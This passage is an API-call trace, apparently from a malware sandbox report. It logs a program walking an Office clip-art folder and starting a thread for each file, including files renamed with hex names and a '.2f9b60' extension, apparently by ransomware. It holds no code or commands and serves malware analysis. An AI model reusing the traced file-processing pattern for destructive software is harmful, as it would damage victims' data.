lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0145.895] wcscmp (_String1="DD01186_.WMF", _String2=".") returned 1 [0145.896] wcscmp (_String1="DD01186_.WMF", _String2="..") returned 1 [0145.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c690 [0145.896] wcscpy (in: _Dest=0x1cf4c690, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.896] wcscat (in: _Dest=0x1cf4c690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.896] wcscat (in: _Dest=0x1cf4c690, _Source="DD01186_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" [0145.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20a4 [0145.897] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0145.897] wcscmp (_String1="DD01366_.WMF", _String2=".") returned 1 [0145.897] wcscmp (_String1="DD01366_.WMF", _String2="..") returned 1 [0145.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ccc0 [0145.897] wcscpy (in: _Dest=0x1cf4ccc0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.897] wcscat (in: _Dest=0x1cf4ccc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.897] wcscat (in: _Dest=0x1cf4ccc0, _Source="DD01366_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" [0145.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ccc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20a8 [0145.898] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0145.898] wcscmp (_String1="DD01434_.WMF", _String2=".") returned 1 [0145.898] wcscmp (_String1="DD01434_.WMF", _String2="..") returned 1 [0145.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d140 [0145.899] wcscpy (in: _Dest=0x1cf4d140, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.899] wcscat (in: _Dest=0x1cf4d140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.899] wcscat (in: _Dest=0x1cf4d140, _Source="DD01434_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" [0145.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20ac [0145.900] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0145.900] wcscmp (_String1="DD01585_.WMF", _String2=".") returned 1 [0145.900] wcscmp (_String1="DD01585_.WMF", _String2="..") returned 1 [0145.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d0b0 [0145.900] wcscpy (in: _Dest=0x1cf4d0b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.900] wcscat (in: _Dest=0x1cf4d0b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.900] wcscat (in: _Dest=0x1cf4d0b0, _Source="DD01585_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" [0145.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20b0 [0145.901] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0145.901] wcscmp (_String1="DD01586_.WMF", _String2=".") returned 1 [0145.901] wcscmp (_String1="DD01586_.WMF", _String2="..") returned 1 [0145.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cb10 [0145.901] wcscpy (in: _Dest=0x1cf4cb10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.901] wcscat (in: _Dest=0x1cf4cb10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.901] wcscat (in: _Dest=0x1cf4cb10, _Source="DD01586_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" [0145.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20b4 [0145.903] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0145.903] wcscmp (_String1="DD01628_.WMF", _String2=".") returned 1 [0145.903] wcscmp (_String1="DD01628_.WMF", _String2="..") returned 1 [0145.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cf90 [0145.903] wcscpy (in: _Dest=0x1cf4cf90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.903] wcscat (in: _Dest=0x1cf4cf90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.903] wcscat (in: _Dest=0x1cf4cf90, _Source="DD01628_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" [0145.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20b8 [0145.904] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0145.904] wcscmp (_String1="DD01629_.WMF", _String2=".") returned 1 [0145.904] wcscmp (_String1="DD01629_.WMF", _String2="..") returned 1 [0145.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cd50 [0145.904] wcscpy (in: _Dest=0x1cf4cd50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.904] wcscat (in: _Dest=0x1cf4cd50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.904] wcscat (in: _Dest=0x1cf4cd50, _Source="DD01629_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" [0145.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cd50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20bc [0145.906] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0145.906] wcscmp (_String1="DD01630_.WMF", _String2=".") returned 1 [0145.906] wcscmp (_String1="DD01630_.WMF", _String2="..") returned 1 [0145.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c8d0 [0145.906] wcscpy (in: _Dest=0x1cf4c8d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.906] wcscat (in: _Dest=0x1cf4c8d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.906] wcscat (in: _Dest=0x1cf4c8d0, _Source="DD01630_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" [0145.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c0 [0145.908] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0145.908] wcscmp (_String1="DD01631_.WMF", _String2=".") returned 1 [0145.908] wcscmp (_String1="DD01631_.WMF", _String2="..") returned 1 [0145.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cde0 [0145.908] wcscpy (in: _Dest=0x1cf4cde0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.908] wcscat (in: _Dest=0x1cf4cde0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.908] wcscat (in: _Dest=0x1cf4cde0, _Source="DD01631_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" [0145.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c4 [0145.909] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0145.909] wcscmp (_String1="DD01761_.WMF", _String2=".") returned 1 [0145.909] wcscmp (_String1="DD01761_.WMF", _String2="..") returned 1 [0145.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cf00 [0145.910] wcscpy (in: _Dest=0x1cf4cf00, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.910] wcscat (in: _Dest=0x1cf4cf00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.910] wcscat (in: _Dest=0x1cf4cf00, _Source="DD01761_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" [0145.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cf00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c8 [0145.910] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0145.911] wcscmp (_String1="DD01772_.WMF", _String2=".") returned 1 [0145.911] wcscmp (_String1="DD01772_.WMF", _String2="..") returned 1 [0145.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c9f0 [0145.911] wcscpy (in: _Dest=0x1cf4c9f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.911] wcscat (in: _Dest=0x1cf4c9f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.911] wcscat (in: _Dest=0x1cf4c9f0, _Source="DD01772_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" [0145.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20cc [0145.912] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0145.912] wcscmp (_String1="DD01793_.WMF", _String2=".") returned 1 [0145.912] wcscmp (_String1="DD01793_.WMF", _String2="..") returned 1 [0145.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ca80 [0145.912] wcscpy (in: _Dest=0x1cf4ca80, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.912] wcscat (in: _Dest=0x1cf4ca80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.912] wcscat (in: _Dest=0x1cf4ca80, _Source="DD01793_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" [0145.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ca80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d0 [0145.913] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x721e, dwReserved0=0x0, dwReserved1=0x0, cFileName="df2e819951a7.2f9b60", cAlternateFileName="DF2E81~1.2F9")) returned 1 [0145.913] wcscmp (_String1="df2e819951a7.2f9b60", _String2=".") returned 1 [0145.913] wcscmp (_String1="df2e819951a7.2f9b60", _String2="..") returned 1 [0145.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b0330 [0145.914] wcscpy (in: _Dest=0x202b0330, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.914] wcscat (in: _Dest=0x202b0330, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.914] wcscat (in: _Dest=0x202b0330, _Source="df2e819951a7.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\df2e819951a7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\df2e819951a7.2f9b60" [0145.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d4 [0145.915] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="e20c5eba722c.2f9b60", cAlternateFileName="E20C5E~1.2F9")) returned 1 [0145.915] wcscmp (_String1="e20c5eba722c.2f9b60", _String2=".") returned 1 [0145.915] wcscmp (_String1="e20c5eba722c.2f9b60", _String2="..") returned 1 [0145.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b01f0 [0145.915] wcscpy (in: _Dest=0x202b01f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.915] wcscat (in: _Dest=0x202b01f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.915] wcscat (in: _Dest=0x202b01f0, _Source="e20c5eba722c.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20c5eba722c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20c5eba722c.2f9b60" [0145.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b01f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d8 [0145.916] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1f10, dwReserved0=0x0, dwReserved1=0x0, cFileName="e20d542df159.2f9b60", cAlternateFileName="E20D54~1.2F9")) returned 1 [0145.916] wcscmp (_String1="e20d542df159.2f9b60", _String2=".") returned 1 [0145.916] wcscmp (_String1="e20d542df159.2f9b60", _String2="..") returned 1 [0145.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b00b0 [0145.916] wcscpy (in: _Dest=0x202b00b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.916] wcscat (in: _Dest=0x202b00b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.916] wcscat (in: _Dest=0x202b00b0, _Source="e20d542df159.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20d542df159.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20d542df159.2f9b60" [0145.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b00b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20dc [0145.917] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x1042, 